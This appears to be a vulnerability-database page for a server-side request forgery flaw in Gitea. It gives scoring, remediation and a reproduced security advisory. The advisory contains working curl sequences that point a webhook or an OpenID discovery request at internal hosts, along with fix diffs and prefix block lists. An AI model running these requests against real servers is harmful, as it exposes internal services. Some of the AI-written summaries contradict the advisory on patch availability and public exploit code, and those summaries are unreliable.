Skip to main content

Gitea EUVDEUVD-2026-58150

| CVE-2026-58314 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-21 https://github.com/go-gitea/gitea GHSA-2fcr-jfvc-vgg2
7.7
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as normal user
  2. Delivery
    Create webhook to CGNAT internal host
  3. Exploit
    Trigger test delivery via hostmatcher gap
  4. Execution
    Gitea fetches internal service
  5. Persist
    Response stored in hook_task.response_content
  6. Impact
    Read internal headers and body on hook detail page

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

For Finding 1 (webhook/migration): the attacker must have a Gitea account and permission to create a user-level webhook (POST /api/v1/user/hooks) or a repo-admin webhook, or invoke repo migration; the target internal service must reside in one of the unblocked ranges, in practice a CGNAT 100.64.0.0/10 address, which is only reachable if the Gitea host actually shares a network with such a service (the NAT64/6to4/Teredo/SIIT families additionally require the matching transition gateway on the network, or the connection fails with 'network is unreachable'). The default ALLOWED_HOST_LIST 'external' builtin must be in effect (it is the default). For Finding 2 (OpenID discovery): no authentication and no CSRF token are required, but ENABLE_OPENID_SIGNIN must be true - it defaults to enabled only before the install wizard completes (!InstallLock) and defaults off after INSTALL_LOCK=true, so it is a live condition mainly on fresh/pre-install instances or deployments that explicitly enable OpenID SSO; this path is blind (no response body returned), limiting it to port scanning, IMDS probing, and timing oracles.

Impact

The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N (7.7 High) is internally consistent for the webhook/migration path: network vector, low complexity, one privilege level (any logged-in user), scope change to internal systems, and high confidentiality because the internal response body is captured and shown to the attacker. No EPSS score was provided and the CVE is not on CISA KEV, so there is no evidence of widespread or active exploitation - the risk is driven by the existence of working, reliable PoC code rather than observed attacks. A tension worth flagging: the assigned vector uses PR:L, which fits Finding 1 (webhook/migration requires an account), but Finding 2 (OpenID discovery) is genuinely unauthenticated (PR:N) yet only reachable when ENABLE_OPENID_SIGNIN is on and yields only a blind primitive (no body returned) - so the two findings sit at different points on the auth/impact spectrum and the single 7.7 score understates auth exposure while overstating readout for the OpenID path. No SSVC decision data was supplied. Net: a credible, easily-weaponized SSRF in a widely self-hosted product, meriting prompt patching especially for instances co-located with cloud metadata services or CGNAT/pod-CIDR internal networks, but not an emergency drop-everything item absent exploitation evidence.

Exploit ScenarioDerived

An attacker registers a normal account (or, for the OpenID path, needs no account at all when OpenID sign-in is enabled), then creates a webhook whose URL points at an internal CGNAT host such as http://100.64.0.2:8080/ or a cloud metadata address, and triggers a test delivery. Because the classifier allows the address, Gitea fetches it and stores the internal service's headers and body (up to 1 MB) in hook_task.response_content, which the attacker reads on the hook settings page - a fully reliable, non-blind readout demonstrated by the provided run_poc.sh proof-of-concept.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Server-side request forgery in Gitea before 1.27.0 lets attackers coerce the server into HTTP requests against internal hosts because its outbound IP allow-list classifier (IsGlobalUnicast && !IsPrivate) fails to block CGNAT (100.64.0.0/10) and nine IPv6 transition prefixes. An authenticated user can point a webhook or repo migration at an internal CGNAT service and read the full response (status, headers, and up to 1 MB body) rendered back on the hook detail page; separately, when OpenID sign-in is enabled the unauthenticated /user/login/openid discovery fetch uses http.DefaultClient with no IP filtering, giving anonymous internet callers a blind SSRF primitive. Publicly available exploit code exists (bundled run_poc.sh reproduces all three primitives), but no active exploitation is confirmed.

RemediationAI

Vendor-released patch: upgrade to Gitea 1.27.0 or later, which corrects the hostmatcher classifier and wires the OpenID discovery fetch through the IP filter (see GHSA-2fcr-jfvc-vgg2 at https://github.com/go-gitea/gitea/security/advisories/GHSA-2fcr-jfvc-vgg2 and the release notes at https://github.com/go-gitea/gitea/releases/tag/v1.27.0). If you cannot upgrade immediately, replace the default 'external' builtin in ALLOWED_HOST_LIST with an explicit allow-list or add the missing non-routable ranges to the block list (100.64.0.0/10 CGNAT, 64:ff9b::/96 and 64:ff9b:1::/48 NAT64, 2001::/32 Teredo, 2002::/16 6to4, ::/96 and ::ffff:0:0/96, 2001:db8::/32, 198.18.0.0/15, and the TEST-NET ranges) so webhook and migration dialing rejects them - the trade-off is that legitimate destinations inside those ranges become unreachable and the list must be maintained by hand. For Finding 2, disable OpenID sign-in by setting ENABLE_OPENID_SIGNIN=false in the [openid] section of app.ini (note the Docker entrypoint maps GITEA__openid__ENABLE_OPENID_SIGNIN, not the [service] variant), accepting that OpenID SSO logins stop working; also restrict network egress from the Gitea host so it cannot reach cloud metadata endpoints (e.g. 169.254.169.254) or sensitive internal services, which blunts both findings at the cost of breaking any legitimate internal webhook targets.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-918 (SSRF). Gitea correctly hooks outbound dialing via net.Dialer.Control (fires per redirect hop, post-DNS, pre-connect), but the classifier in modules/hostmatcher/hostmatcher.go relies on Go stdlib's ip.IsGlobalUnicast() && !ip.IsPrivate(), which was designed for stack bookkeeping rather than as a security boundary. IsPrivate() only recognizes RFC 1918, RFC 4193 ULA, and the ::ffff:0:0/96 IPv4-mapped range (un-embedded via To4()); it does not cover RFC 6598 CGNAT (100.64.0.0/10), RFC 6052/8215 NAT64, RFC 3056 6to4, RFC 4380 Teredo, IPv4-compatible/SIIT, RFC 2544 benchmarking (198.18.0.0/15), or RFC 5737 TEST-NET ranges, all of which pass the guard. CGNAT is the practically important gap because it is plain IPv4 requiring no transition gateway and overlaps Tailscale (100.x), AWS VPC secondary CIDRs, and common Kubernetes pod-CIDR conventions. The affected package is the Go module code.gitea.io/gitea (pkg:go/code.gitea.io_gitea). Finding 2 stems from the third-party github.com/yohcop/openid-go v1.0.1, whose package-level defaultInstance is built on http.DefaultClient with no transport customization, so the OpenID discovery GET bypasses the hostmatcher entirely.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
vuln.today AI 7.7 HIGH

Any logged-in user (PR:L) can remotely and reliably trigger the webhook SSRF (AV:N/AC:L), reaching internal systems (S:C) and reading their full response (C:H); no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
SUSE HIGH
Red Hat 8.6 HIGH

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

| --- | --- | | Versions tested | gitea/gitea:1.26.2 (digest sha256:7d13848af12645600a5f9d93ee2560daa9c6fa6b5b859b7bff3a5e1c0b661031); gitea/gitea:latest resolves to the same digest at time of writing | | Source review | git checkout v1.26.2 (commit 2c749ce) | | Reproduction | bash run_poc.sh (single shot: brings up containers, runs three PoCs, prints captured evidence, tears down on exit) | | Files touched by the fixes | modules/hostmatcher/hostmatcher.go, modules/auth/openid/openid.go |

Gitea guards outbound HTTP from webhooks and repo migration with net.Dialer.Control, the correct hook point. The IP classifier behind it misses ten address families, of which CGNAT (100.64.0.0/10) is the practically important one because it is plain IPv4 and is used today by Tailscale, AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any logged-in user can create a webhook pointing at an internal CGNAT host. The full HTTP response from that host (status, headers, body up to 1 MB) is stored in the webhook delivery log and rendered to the webhook owner on the hook detail page. The same gap applies to repo migration.

Separately, the OpenID sign-in form at /user/login/openid fetches the user-supplied provider URL server-side via openid-go, which uses http.DefaultClient. No hostmatcher, no IP filter, no CSRF, no authentication. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal IPs.

Both reproduce on gitea/gitea:1.26.2 (current stable) in default configuration. The bundled run_poc.sh reproduces all three primitives end-to-end in about one minute and tears the lab down at exit.

---

Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes

The bug

modules/hostmatcher/hostmatcher.go:107-119, the external builtin:

go
case MatchBuiltinExternal:
    if ip.IsGlobalUnicast() && !ip.IsPrivate() {
        return true
    }

IsGlobalUnicast() && !IsPrivate() was written for stack bookkeeping, not as a security boundary. It catches RFC 1918, RFC 4193 ULA, link-local, loopback, and the IPv4-mapped ::ffff:0:0/96 prefix (because IsPrivate un-embeds that range via net.IP.To4()). Every other IPv6 transition prefix returns nil from To4(), so the embedded IPv4 is invisible to the classifier.

Address families that pass the guard, verified live on 1.26.2:

FamilyExampleWhy missed
CGNAT, RFC 6598100.64.0.1IsPrivate() checks 10/8, 172.16/12, 192.168/16 only
NAT64 well-known, RFC 605264:ff9b::7f00:1To4() un-embeds only ::ffff:0:0/96
NAT64 local-use, RFC 821564:ff9b:1::1same
6to4, RFC 30562002:7f00:1::same
Teredo, RFC 43802001::abcdsame
IPv4-compatible::169.254.169.254same
SIIT, RFC 6145::ffff:0:7f00:1same
Documentation2001:db8::1same
Benchmarking, RFC 2544198.18.0.1not in any private check
TEST-NET, RFC 5737192.0.2.1same

CGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.

NAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with network is unreachable on a stock Linux box.

The wrapping net.Dialer.Control callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.

Reachable sinks

Webhook delivery, services/webhook/deliver.go:

go
// :321-328
webhookHTTPClient = &http.Client{
    Timeout: timeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},
        Proxy:           webhookProxy(allowedHostMatcher),
        DialContext:     hostmatcher.NewDialContext("webhook", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),
    },
}

Authentication required: any logged-in user via user-level hooks (POST /api/v1/user/hooks) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:

go
// :268
p, err := util.ReadWithLimit(resp.Body, 1024*1024)

and stored in hook_task.response_content, then rendered on /{owner}/{repo}/settings/hooks/{id}.

Repo migration, services/migrations/http_client.go:27:

go
DialContext: hostmatcher.NewDialContext("migration", allowList, blockList, setting.Proxy.ProxyURLFixed),

with a pre-flight check at services/migrations/migrate.go:43-87 (IsMigrateURLAllowed). Both layers call the same MatchIPAddr, so the pre-flight does not add coverage for the classifier gap.

History

Residual of CVE-2018-15192. The hostmatcher module landed in PR #17482 (2021) with external as the default. The classifier gap has been present from that PR.

Reproduce

run_poc.sh is the one-shot reproduction. It pulls gitea/gitea:1.26.2, brings up a Docker network on 100.64.0.0/24 with a mock internal service at 100.64.0.2:8080, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.

Expected console output (trimmed):

[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)
  ok  created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL
  internal response captured in hook_task.response_content:
    {"status":200,
     "headers":{"X-Internal-Secret":"CGNAT-INTERNAL-ONLY",
                "Content-Type":"application/json", ...},
     "body":"{\"proof\": \"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\",
              \"client_seen\": \"100.64.0.10\",
              \"secret\": \"do-not-leak-outside-network\"}"}
  ok  headline confirmed: X-Internal-Secret header reflected to webhook owner

[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)
  migrate API returned HTTP 201
  mock log:
    GET /fake.git/info/refs?service=git-upload-pack  from=100.64.0.10
    GET /fake.git/HEAD  from=100.64.0.10
  ok  git smart-HTTP exchange from gitea -> 100.64.0.2 confirmed

[sanity] verify the guard still rejects RFC 1918 / loopback / link-local
  ok  loopback v4   (http://127.0.0.1:8080/)    blocked
  ok  RFC 1918      (http://10.0.0.1:8080/)     blocked
  ok  loopback v6   (http://[::1]:8080/)        blocked
  ok  ULA           (http://[fc00::1]:8080/)    blocked
  ok  link-local v4 (http://169.254.169.254/)   blocked

Boiled down to raw HTTP, the webhook primitive is three calls:

bash
TOKEN=$(curl -s -u attacker:pw -X POST \
  http://localhost:3000/api/v1/users/attacker/tokens \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","scopes":["write:repository","write:user"]}' \
  | sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \
  -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"type":"gitea",
       "config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
       "events":["push"],"active":true}'

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \
  -H "Authorization: token $TOKEN"

The internal target's response is then visible on /{owner}/{repo}/settings/hooks/1, or in the SQLite column hook_task.response_content.

Suggested fix

Add an explicit non-routable prefix list to the external builtin:

diff
--- a/modules/hostmatcher/hostmatcher.go
+++ b/modules/hostmatcher/hostmatcher.go
@@ -3,8 +3,9 @@ package hostmatcher

 import (
 	"net"
+	"net/netip"
 	"path/filepath"
 	"slices"
 	"strings"
 )

+var nonRoutablePrefixes = []netip.Prefix{
+	netip.MustParsePrefix("100.64.0.0/10"),   // CGNAT, RFC 6598
+	netip.MustParsePrefix("64:ff9b::/96"),    // NAT64 well-known, RFC 6052
+	netip.MustParsePrefix("64:ff9b:1::/48"),  // NAT64 local-use, RFC 8215
+	netip.MustParsePrefix("2001::/32"),       // Teredo, RFC 4380
+	netip.MustParsePrefix("2002::/16"),       // 6to4, RFC 3056
+	netip.MustParsePrefix("::ffff:0:0/96"),   // SIIT (deprecated, still routable through translators)
+	netip.MustParsePrefix("::/96"),           // IPv4-compatible (deprecated)
+	netip.MustParsePrefix("2001:db8::/32"),   // documentation
+	netip.MustParsePrefix("198.18.0.0/15"),   // benchmarking
+	netip.MustParsePrefix("192.0.0.0/24"),    // IETF protocol assignments
+	netip.MustParsePrefix("192.0.2.0/24"),    // TEST-NET-1
+	netip.MustParsePrefix("198.51.100.0/24"), // TEST-NET-2
+	netip.MustParsePrefix("203.0.113.0/24"),  // TEST-NET-3
+}
+
+func isNonRoutable(ip net.IP) bool {
+	a, ok := netip.AddrFromSlice(ip)
+	if !ok {
+		return true
+	}
+	for _, p := range nonRoutablePrefixes {
+		if p.Contains(a) {
+			return true
+		}
+	}
+	return false
+}
+
 func (hl *HostMatchList) checkIP(ip net.IP) bool {
 	if slices.Contains(hl.patterns, "*") {
 		return true
 	}
 	for _, builtin := range hl.builtins {
 		switch builtin {
 		case MatchBuiltinExternal:
-			if ip.IsGlobalUnicast() && !ip.IsPrivate() {
+			if ip.IsGlobalUnicast() && !ip.IsPrivate() && !isNonRoutable(ip) {
 				return true
 			}

hostmatcher_test.go currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).

---

Finding 2: OpenID discovery has no SSRF guard

The bug

routers/web/auth/openid.go:99:

go
url, err := openid.RedirectURL(id, redirectTo, setting.AppURL)

The thin wrapper at modules/auth/openid/openid.go:36 forwards directly to the package-level function in github.com/yohcop/openid-go. That package keeps a defaultInstance:

go
// github.com/yohcop/openid-go v1.0.1, openid.go:15
var defaultInstance = NewOpenID(http.DefaultClient)

http.DefaultClient has no transport customization, no Dialer.Control, no IP filtering. openid-go issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.

The form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).

Default exposure

The setting that gates this endpoint is read from the [openid] section of app.ini:

go
// modules/setting/service.go:268-270
func loadOpenIDSetting(rootCfg ConfigProvider) {
	sec := rootCfg.Section("openid")
	Service.EnableOpenIDSignIn = sec.Key("ENABLE_OPENID_SIGNIN").MustBool(!InstallLock)

It defaults to !InstallLock, so on a fresh container before the install wizard completes the endpoint is enabled. After INSTALL_LOCK=true it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes GITEA__service__ENABLE_OPENID_SIGNIN into [service], where the loader does not read it. Use GITEA__openid__ENABLE_OPENID_SIGNIN=true.)

History

Extends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.

Reproduce

One request, no cookie, no token:

bash
curl -X POST http://localhost:3000/user/login/openid \
  --data-urlencode 'openid=http://INTERNAL:PORT/path'

Captured by the internal target (also shown in run_poc.sh's [poc 3] block):

GET /poc3-openid  from=100.64.0.10
GET /poc3-openid  from=100.64.0.10

Two GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with Accept: application/xrds+xml.

Exfiltration is blind. openid-go parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.

Suggested fix

Wire the hostmatcher into a custom *http.Client and create a dedicated openid-go instance:

diff
--- a/modules/auth/openid/openid.go
+++ b/modules/auth/openid/openid.go
@@ -1,10 +1,28 @@
 package openid

-import "github.com/yohcop/openid-go"
+import (
+	"net/http"
+	"time"
+
+	"code.gitea.io/gitea/modules/hostmatcher"
+	"code.gitea.io/gitea/modules/proxy"
+	"github.com/yohcop/openid-go"
+)

 var (
 	nonceStore     = openid.NewSimpleNonceStore()
 	discoveryCache = newTimedDiscoveryCache(24 * time.Hour)
+	instance       = openid.NewOpenID(&http.Client{
+		Timeout: 30 * time.Second,
+		Transport: &http.Transport{
+			Proxy: proxy.Proxy(),
+			DialContext: hostmatcher.NewDialContext("openid",
+				hostmatcher.ParseHostMatchList("openid", hostmatcher.MatchBuiltinExternal),
+				nil, nil),
+		},
+	})
 )

 func Verify(fullURL string) (id string, err error) {
-	return openid.Verify(fullURL, discoveryCache, nonceStore)
+	return instance.Verify(fullURL, discoveryCache, nonceStore)
 }

 // RedirectURL redirects browser
 func RedirectURL(id, callbackURL, realm string) (string, error) {
-	return openid.RedirectURL(id, callbackURL, realm)
+	return instance.RedirectURL(id, callbackURL, realm)
 }

openid.Normalize does not perform HTTP and does not need to change. Once Finding 1 is fixed, this MatchBuiltinExternal instance picks up the new prefix coverage automatically.

---

POC script

run_poc.sh

Executive ViewAI

Why It Matters

Gitea versions before 1.27.0 contain a server-side request forgery vulnerability allowing attackers to access internal infrastructure and sensitive data. Publicly available exploit code exists, and the flaw affects both authenticated users and systems running OpenID sign-in; no vendor patch currently addresses this risk. Organizations must immediately implement network controls and configuration changes to mitigate exposure.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable OpenID Connect authentication to eliminate unauthenticated SSRF; (2) restrict or fully disable webhook and repository migration features to limit authenticated SSRF attack surface; (3) implement strict network-level egress filtering blocking access to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), CGNAT addresses (100.64.0.0/10), and IPv6 transition prefixes; (4) network segment Gitea infrastructure from sensitive internal systems.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
popular self-hosted git forge, common but not ubiquitous
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy